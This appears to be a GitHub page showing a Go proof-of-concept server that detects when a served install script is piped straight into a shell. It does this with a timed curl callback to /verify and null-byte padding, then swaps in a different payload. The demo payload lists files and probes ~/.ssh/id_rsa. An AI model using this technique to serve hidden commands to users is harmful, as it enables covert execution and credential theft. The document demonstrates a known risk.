-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.go
123 lines (99 loc) · 2.86 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
package main
import (
"bufio"
"io"
"log"
"net/http"
"strings"
"time"
)
type detectionServer struct {
Addr string
RemoteURL string
WaitTime time.Duration
PayloadShell string
PayloadDefault string
server *http.Server
receivedVerify chan (bool)
bufrw *bufio.ReadWriter
}
func (d *detectionServer) ListenAndServe() error {
d.receivedVerify = make(chan bool)
mux := http.NewServeMux()
mux.HandleFunc("/script", d.handlerScript)
mux.HandleFunc("/verify", d.handlerVerify)
d.server = &http.Server{
Addr: d.Addr,
Handler: mux,
ReadTimeout: 10 * time.Second,
WriteTimeout: 10 * time.Second,
MaxHeaderBytes: 1 << 20,
}
return d.server.ListenAndServe()
}
func (d *detectionServer) handlerVerify(w http.ResponseWriter, r *http.Request) {
log.Println("verify handler - start")
io.WriteString(w, "d8e8fca2dc0f896fd7cb4cb0031ba249")
d.receivedVerify <- true
log.Println("verify handler - end")
}
func (d *detectionServer) handlerScript(w http.ResponseWriter, r *http.Request) {
log.Println("script handler - start")
hijacker, _ := w.(http.Hijacker)
conn, bufrw, err := hijacker.Hijack()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
defer conn.Close()
d.bufrw = bufrw
d.sendResponseHeaders()
d.sendTrigger()
d.sendSpacing()
select {
case <-d.receivedVerify:
d.sendPayloadShell()
case <-time.After(d.WaitTime):
d.sendPayloadDefault()
}
d.bufrw.Flush()
log.Println("script handler - end")
}
func (d *detectionServer) sendResponseHeaders() {
d.bufrw.WriteString("HTTP/1.1 200 OK\n")
d.bufrw.WriteString("Host: localhost\n")
d.bufrw.WriteString("Transfer-type: chunked\n")
d.bufrw.WriteString("Content-Type: text/plain; charset=utf-8\n\n")
d.bufrw.Flush()
}
func (d *detectionServer) sendTrigger() {
d.bufrw.WriteString("echo \"Getting Checksum to verify binary...\";\n")
d.bufrw.WriteString("checksum=$(curl -sS " + d.RemoteURL + "/verify;)\n")
d.bufrw.Flush()
}
func (d *detectionServer) sendSpacing() {
d.bufrw.WriteString(strings.Repeat("\x00", 87380))
d.bufrw.Flush()
}
func (d *detectionServer) sendPayloadShell() {
log.Println("Received verify request while waiting, assuming we get piped into a shell")
d.bufrw.WriteString(d.PayloadShell)
}
func (d *detectionServer) sendPayloadDefault() {
log.Println("No Request received in the last two second, assuming no pipe to shell...")
d.bufrw.WriteString(d.PayloadDefault)
}
func main() {
payloadDefault := "echo \"Checksum found: ${checksum}\";\n"
payloadShell := "echo \"Checksum found: ${checksum}\";\n" +
"ls -la;\n" +
"file ~/.ssh/id_rsa;\n"
server := &detectionServer{
Addr: ":10000",
RemoteURL: "http://localhost:10000",
WaitTime: time.Second * 2,
PayloadDefault: payloadDefault,
PayloadShell: payloadShell,
}
log.Fatal(server.ListenAndServe())
}